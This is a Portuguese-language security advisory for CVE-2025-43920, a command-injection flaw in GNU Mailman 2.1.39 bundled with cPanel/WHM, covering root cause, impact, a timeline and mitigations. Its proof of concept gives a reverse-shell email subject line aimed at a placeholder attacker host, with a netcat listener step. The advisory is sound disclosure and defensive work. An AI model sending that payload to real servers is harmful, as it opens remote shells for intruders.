CVE-2025-43920: Injeção de Comando através do Assunto do Email no GNU Mailman 2.1.39 (Pacote cPanel/WHM)

Descoberto por: Firudin Davudzada & Musazada Aydan
Data de Divulgação: Abril de 2025
ID CVE: CVE-2025-43920
Gravidade: 5.4 Médio (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N)
Tipo de Ataque: Remoto
Software Afetado: GNU Mailman 2.1.39 (empacotado com cPanel/WHM)

Visão Geral

O GNU Mailman 2.1.39, conforme empacotado com cPanel e WHM, é vulnerável a uma falha crítica de injeção de comando que permite que atacantes não autenticados executem comandos arbitrários do sistema operacional. A vulnerabilidade ocorre quando um arquivador externo é configurado usando PUBLIC_EXTERNAL_ARCHIVER ou PRIVATE_EXTERNAL_ARCHIVER no arquivo de configuração mm_cfg.py, e a linha de assunto do email contém metacaracteres de shell que não são devidamente sanitizados. Isso pode levar ao comprometimento total do sistema, permitindo que atacantes estabeleçam shells reversos, exfiltrem dados ou realizem outras ações maliciosas.

Detalhes da Vulnerabilidade

• Tipo de Vulnerabilidade: Injeção de Comando
• Fornecedor: GNU Mailman (GNU Mailman)
• Versões Afetadas: Mailman 2.1.39; provavelmente afeta versões mais antigas 2.1.x (pendente de testes de regressão)
• Componentes Afetados:
  • Configuração de arquivador externo (PUBLIC_EXTERNAL_ARCHIVER, PRIVATE_EXTERNAL_ARCHIVER)
  • Mailman/Handlers/ (lógica de processamento do assunto do email, potencialmente incluindo arquivos como CookHeaders.py)
• Causa Raiz: Quando um arquivador externo é configurado, a linha de assunto do email pode ser passada para um comando de shell sem a sanitização adequada, permitindo a execução de comandos arbitrários se metacaracteres de shell (ex.: ;, &, |) estiverem presentes.
• Status: Nenhuma correção oficial disponível. O Mailman 2.1.x está em fim de vida útil (EOL); a migração para o Mailman 3.x é fortemente recomendada.

Prova de Conceito

Para explorar esta vulnerabilidade, um atacante pode enviar um email para uma lista gerenciada pelo Mailman com uma linha de assunto maliciosa, como:

Subject: ;bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1

Pré-requisitos:

• A lista alvo do Mailman deve ter um arquivador externo configurado via PUBLIC_EXTERNAL_ARCHIVER ou PRIVATE_EXTERNAL_ARCHIVER.
• O atacante deve controlar um servidor de email ou cliente capaz de enviar para a lista alvo.
• Um listener (ex.: netcat) deve ser configurado em IP_ATACANTE:4444 para receber o shell reverso.

Resultado Esperado: Se o comando do arquivador externo não sanitizar a linha de assunto, o comando malicioso é executado no servidor, estabelecendo um shell reverso para o servidor do atacante.

Vetores de Ataque

• Vetor Principal: Linhas de assunto de email maliciosas contendo metacaracteres de shell enviadas para uma lista de discussão gerenciada pelo Mailman com um arquivador externo configurado.
• Cenários de Exploração:
  • Estabelecer shells reversos para acesso persistente.
  • Executar comandos para exfiltrar dados, modificar configurações ou instalar malware.
  • Combinar com outras vulnerabilidades para escalar ataques.
• Facilidade de Exploração: Alta, pois qualquer remetente de email pode direcionar listas públicas ou mal configuradas com uma configuração de arquivador externo.

Impacto de Segurança

• Execução de Código: Alta (execução arbitrária de comandos do SO).
• Elevação de Privilégio: Alta (potencial acesso root dependendo dos privilégios de tempo de execução do Mailman).
• Divulgação de Informações: Alta (a saída do comando pode revelar dados do sistema).
• Negação de Serviço: Alta (comandos maliciosos podem travar ou sobrecarregar o servidor).

Mitigações

Ações Imediatas

• Desativar Arquivadores Externos: Defina PUBLIC_EXTERNAL_ARCHIVER e PRIVATE_EXTERNAL_ARCHIVER como None no arquivo mm_cfg.py para desativar a funcionalidade de arquivador externo:

  root@kitploit:~

  PUBLIC_EXTERNAL_ARCHIVER = None
  PRIVATE_EXTERNAL_ARCHIVER = None
  

• Sanitizar Entradas: Se um arquivador externo for necessário, garanta que o comando sanitize a linha de assunto para evitar injeção de metacaracteres de shell.

• Restringir Inscrições: Limite as inscrições em listas de discussão a usuários confiáveis para reduzir a exposição.

Soluções de Longo Prazo

• Atualizar para o Mailman 3.x: Migre para o Mailman 3.x, que implementa sanitização robusta de entrada e é ativamente mantido.
• Desativar Processamento de Email: Se não for necessário, desative a funcionalidade de processamento de email do Mailman para eliminar o vetor de ataque.
• Fortificar Ambiente: Execute o Mailman em um ambiente conteinerizado com privilégios mínimos para limitar o impacto de possíveis explorações.

Linha do Tempo

• Q1 2025: Descoberto durante avaliação de teste de penetração autorizada.
• Q1 2025: Reportado aos mantenedores do GNU Mailman e cPanel.
• Abril de 2025: CVE atribuído pela MITRE.
• Abril de 2025: Divulgação pública através deste repositório.

Referências

• Código Fonte do Mailman 2.1
• Registro CVE-2025-43920
• Recomendações de Segurança do Mailman
• INCIBE-CERT - CVE-2025-43920
• VULDB - CVE-2025-43920
• Instituto Nacional de Padrões e Tecnologia (NIST) - CVE-2025-43920
• Tenable - CVE-2025-43920

Agradecimentos

Firudin Davudzada e Musazada Aydan divulgaram responsavelmente esta vulnerabilidade durante um engajamento de teste de penetração autorizado. Agradecimentos à equipe MITRE CVE pela coordenação.

Contato

Email: [email protected]\